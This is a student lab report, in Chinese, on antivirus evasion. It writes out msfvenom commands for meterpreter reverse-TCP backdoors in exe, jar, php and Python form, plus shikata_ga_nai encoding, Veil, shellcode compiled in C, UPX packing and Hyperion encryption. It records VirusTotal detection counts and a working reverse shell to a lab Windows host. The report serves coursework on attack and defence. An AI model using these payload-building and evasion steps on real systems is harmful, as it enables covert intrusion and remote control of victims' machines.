# 20232321 2025-2026-1 《网络与系统攻防技术》实验三实验报告
免杀原理与实践
1.实验内容
1.1实验内容
- 通过msf编码器生成多种类型的后门文件及其多次编码后的文件,类型包括:exe文件,jar文件以及php文件
- 通过veil生成的后门文件
- 对后门文件进行加壳操作
- 通过C+shellcode编写被免杀的后门文件
1.2实验环境
-
安装Kali镜像以及windows7的虚拟机
![image]()
-
免杀评价的平台 virustotal > https://www.virustotal.com/gui/home/upload

2.实验过程
2.1通过多种方式对后门文件进行免杀处理,并使用virustotal测试免杀效果
2.1.1通过msf编码器生成后门文件,类型包括:单次编码的exe文件,多次编码的exe文件,jar文件以及php文件
(1)使用msf编码器生成单次编码的exe文件,放入免杀评价平台测试,最终virustotal评价平台找到50个危险项
#单次编码的.exe文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.83.133 PORT=5318 -f exe > 20232321msf.exe


(2)msf编码器生成多次编码的exe文件,放入免杀评价平台测试,最终virustotal评价平台找到41个危险项,与单次编码的.exe文件比较,被发现的危险项从50个降到了41个,多次编码对exe文件具有一定的免杀效果。
#多次编码的.exe文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.83.133 LPORT=5318 -f exe > 20232321msf_10.exe


(3)msf编码器生成Jar文件,放入免杀评价平台测试,最终virustotal评价平台找到34个危险项
#单次编码的.jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.83.133 LPORT=5318 x>met20232321_jar.jar


(4)msf编码器生成多次编码的Jar文件,放入免杀评价平台测试,最终virustotal评价平台找到34个危险项,与单次编码的jar文件比较,被发现的危险项没有减少,多级编码对jar文件的免杀效果并不理想。
#多次编码的Jar文件
msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.83.133 LPORT=5318 x>met20232321_jar10.jar


(5)msf编码器生成php文件,放入免杀评价平台测试,最终virustotal评价平台找到25个危险项
#单次编码的php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.83.133 LPORT=5318 x> met20232321_php.php


(6)msf编码器生成多次编码的php文件,放入免杀评价平台测试,最终virustotal评价平台找到8个危险项,与单次编码的php文件比较,被发现的危险项大幅度减少,多级编码对php文件的免杀效果较为理想。
#多次编码的php文件
msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.83.133 LPORT=5318 x> met20232321_php10.php


2.2通过veil生成加壳的后门文件
输入veil来启动veil,

输入use 1启动Evasion模块

输入use 7启动c/meterpreter/rev_tcp.py,得到meterpreter类型的、使用反向TCP连接的.exe可执行文件。

配置反弹ip和端口
set LHOST 192.168.83.133(kali的ip)
set LPORT 5318(设置端口)
Generate

可以在/var/lib/veil/output/compiled/veil_202323211.exe找到生成的veil加壳exe文件,最终virustotal评价平台找到34个危险,说明veil加壳免杀的特征项已经被熟知了,效果不理想


2.3通过C+shellcode为自己的后门文件免杀
通过C+shellcode生成后门文件的源码
#通过C+shellcode生成后门文件的源码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.83.133 LPORT=5318 -f c

再通过vim创建一个.c文件,并将用msfvenom工具生成的恶意代码copy到.c文件中,并添加主函数的部分

使用编码器i686-w64-mingw32-g++ 对后门源码文件变为exe可执行文件
#使用编码器i686-w64-mingw32-g++ 对后门源码文件变为exe可执行文件
i686-w64-mingw32-g++ 20232321shell_1.c -o 20232321shell_1.exe
运行结果为,,最终virustotal评价平台找到34个危险,说明通过msfvenom单次编码的shellcode的特征码已经有所防范了,效果也不不理想

2.4对后门文件进行加壳操作
2.4.1使用upx给该程序添加一层压缩,最终virustotal评价平台找到41个危险项
#使用upx给该程序添加一层压缩
upx 20232321shell_1.exe -o 20232321shell_2.exe


2.4.2使用加密壳Hyperion为程序加密
首先通过命令cp 20232321shell_2.exe /usr/share/windows-resources/hyperion/,将已经被upx压缩的恶意文件20232321shell_2.exe复制到Hyperion工具所在的工作目录中。
#复制到Hyperion目录
cp 20232321shell_2.exe /usr/share/windows-resources/hyperion/

使用cd命令进入 /usr/share/windows-resources/hyperion/
#进入 /usr/share/windows-resources/hyperion/目录
cd /usr/share/windows-resources/hyperion

通过wined使用hyperion.exe对2022321shell_2.exe文件进行加密
#使用hyperion.exe对2022321shell_2.exe文件进行加密
wine hyperion.exe -v 20232321shell_2.exe 20232321shell_hyp.exe

结果virustotal评价平台找到50个危险项,virustotal评价平台可能记录了hyperion加密的特征值

2.5通过msfvenom和加壳结合的方式生成exe后门文件
2.5.1通过msfvenom和加壳结合的方式生成exe后门文件
#通过C+shellcode生成后门文件的源码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.226.129 LPORT=5318 -f c

再通过vim创建一个.c文件,并将用msfvenom工具生成的恶意代码copy到.c文件中,并添加主函数的部分

#使用编码器i686-w64-mingw32-g++ 对后门源码文件变为exe可执行文件
i686-w64-mingw32-g++ 20232321jh_1.c -o 20232321jh_1.exe

#使用upx给该程序添加一层压缩
upx 20232321jh_1.exe -o 20232321jh_2.exe

#复制到Hyperion目录
cp 20232321jh_2.exe /usr/share/windows-resources/hyperion/

#进入 /usr/share/windows-resources/hyperion/目录
cd /usr/share/windows-resources/hyperion

#使用hyperion.exe对2022321jh_2.exe文件进行加密
wine hyperion.exe -v 20232321jh_2.exe 20232321jh_3.exe

结果分析经过hyperion.exe加密的20232321jh_3.exe的被检测到的危险漏洞高达50个,而在加密前的20232321jh_2.exe确只被检测到40个危险漏洞。可能是hyperion的特征码已经被熟知导致的。


2.5.2通过安全监测软件查杀生成的后门程序
将文件使用杀毒软件进行木马查杀扫描,仍能查出其中的威胁,应该是现在msfvenom,upx压缩,Hyperion加密技术已经被大家熟知了,都有了相应的监测技术。

本次使用的杀毒软件是360安全卫士极速版2025,主程序版本15.0.3.1004,木马库版本更新:2025-10-23。

2.6使用被免杀的后门程序连接到windows
2.6.1使用被免杀的后门程序连接到windows11
在kali虚拟机中进入msf的控制台,配置监听类型、IP地址与监听端口等信息,并exploit运行
#启动msfconsole
msfconsole
#启动handler
use exploit/multi/handler
#设置路径
set payload windows/meterpreter/reverse_tcp
#设置ip
set LHOST 192.168.226.129
#设置端口
set LPORT 5318
#启动
exploit

可以看到360监测到了后门程序,即使我们添加信任后,电脑也会显示“拒绝访问”。在kali虚拟机msf的控制台也没接收到后门程序的信息。连接失败,说明现在的win11系统已经配置了一定程度的安全免杀系统。所以接下来我下载了一个落后的win7镜像虚拟机进行测试。


2.6.2使用被免杀的后门程序连接到windows7
下载win7,在FlasFXP老师给的映像下,找到一下目录/常用软件/系统镜像。


建立共享文件,运行后门程序,显示win7还是不允许其运行。经过查询显示原因该恶意软件破坏了内存地址。win7就已经具备查杀该后门的能力。还是连接失败,不过听别的同学说可以通过Python连接,我试试


2.6.3使用python生成后门程序连接到win11(最关键的,唯一可以回连成功的)
第一步通过python生成.py的后门文件,并传到windows主机
#
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.226.129 LPORT=2310 -f raw >20232321_python.py

第二步到官网下载python,注意选择自动配置路径的选项,我选的是3.11.1(版本太高了好像也不行)
下载完成后,输入python --version显示版本号,成功显示则安装配置成功。再输入pip install pyinstaller安装pip

通过一下命令编译.py文件生成.exe可执行文件
#-F 表示将所有代码和依赖打包成单个可执行文件
#--hidden-import 指定的隐藏依赖模块
#getpass:用于安全地获取用户输入的密码
#platform:用于获取操作系统相关信息
#shlex:用于解析类 shell 风格的命令行字符串
pyinstaller -Fw --hidden-import=getpass --hidden-import=code --hidden-import=platform --hidden-import=shlex 20232321_python.py

到生成的目录dist查看生成的.exe文件


到kali中启动msfconsole并配置,配置完成后双击主机的20232321_python.exe,可以在看到成功连接到了主机(终于有一个成功了)
#启动msfconsole
msfconsole
#启动handler
use exploit/multi/handler
#设置路径
set payload python/meterpreter/reverse_tcp
#设置ip
set LHOST 192.168.226.129
#设置端口
set LPORT 2310
#启动
exploit

成功连接后,我想看一下杀毒软件以及监测平台 virustota对20232321_python.exe的评价
好吧我还以为会出现0个高危漏洞呢,还是可以检测出危险项。那为啥可以检测出来,主机还运行呢,如果是主机的监测功能弱,为啥不换上高性能的监测系统呢?
我推测是在实际的主机中,有些正常的软件和功能也许会有危险行为的操作,像远程连接,主机不可能完全禁止,也许会影响正常的功能,而监测软件不需要考虑那麽多。当然也可能就是主机的wingdows版本太低了。

3.问题及解决方案
-
3.1问题1:由于虚拟机无法拖拽代码到主机,我使用ncat的方式传输,结果刚刚还可以检测出危险性的杀软的结果显示没有没有危险项。

- 问题1解决:
通过查看可以发现windows中传输过来的文件内存是0,说明并没有成功传输。
可以使用共享文件进行传输。
首先在winows主机创建一个准备映像的文件夹,右键点击 属性->共享->共享(s)...,添加everyone的选项。
![image]()
![image]()
3.2问题2:在windows下运行后门程序显示缺失了libgcc_s_dw2-1.dll

- 问题解决:我询问AI得知libgcc_s_dw2-1.dll是MinGW下的一个动态库,我们前去MInGW官网下载
点击File -> MinGW->Base->gcc->Version6->gcc-6.3.0,
![image]()
![image]()
在这个页面有很多个库(其它库我没有下载验证是否有我们需要的libgcc_s_dw2-1.dll,大家可以试试)我寻找的是下载libgcc-6.3.0-1-mingw32-dll-1的压缩文件
![image]()
解压缩两次后得到文件中
![image]()
找到bin->libgcc_s_dw2-1.dll
![image]()
copy到后门文件的目录
![image]()
终于后门程序没有报缺失libgcc_s_dw2-1.dll的错误了,但是还是无法成功连接虚拟机(大悲,没有报错,但就是不运行吗,o(╥﹏╥)o),所以还是老老实实的用上文的python远程连接吧

4.学习感悟、思考等
4.1问题回答
(1)杀软是如何检测出恶意代码的?
检测恶意代码主要有两个方法
- 特征码校验:通过比对恶意软件的代码层面是否有被记录的恶意代码来判断。像独特的恶意代码片段,文件的哈希值都可作为检测认证
- 行为分析:不存储特征代码,而是去监测每个软件的行为,如果软件出现擅自更改注册表,擅自启动,读取敏感文件等等异常行为,就会被认为是恶意软件
(2)免杀是做什么?
免杀本质上就是让恶意代码不被检测出来的手段,常常通过改变恶意代码形态,伪装恶意代码的行为等等。
(3)免杀的基本方法有哪些?
- 针对恶意代码:可以改变特征码,通过加壳,压缩,加密等方法将其隐藏在正常代码下。还可以伪装恶意代码的异常行为,延迟恶意行为的发动,绕过杀软的实时监察。
- 针对杀毒软件:可以利用杀毒软件的漏洞,获取杀软的信任,让其无法监测恶意代码
4.2实验感悟
在此次试验中,我主要学习了msf编码器的使用,veil加壳工具的使用,upx压缩和Hyperion加密的免杀方法,在此次实验中,有些类型的文件免杀效果很好,像多次编码的php文件最低可只能检测到5个危险项,当然相对的像veil加壳,upx压缩,hyperion加密这三个工具和使用msf编码器直接生成相比甚至被检测到的危险项还增多了,效果并不理想,归根结底应该是这些免杀技术已经被破解了,他们的特征值,可能进行的攻击行为被更新进了监测库中了,所以出现了这样的现象。
这反映出免杀工具和杀毒工具之间“矛”和“盾”的斗争,几年前的免杀工具在当下的时代已经有些落伍了,只有不断地与时俱进才能,才能不被时代所淘汰。此次实验的经历对我未来在学习有所帮助。









浙公网安备 33010602011771号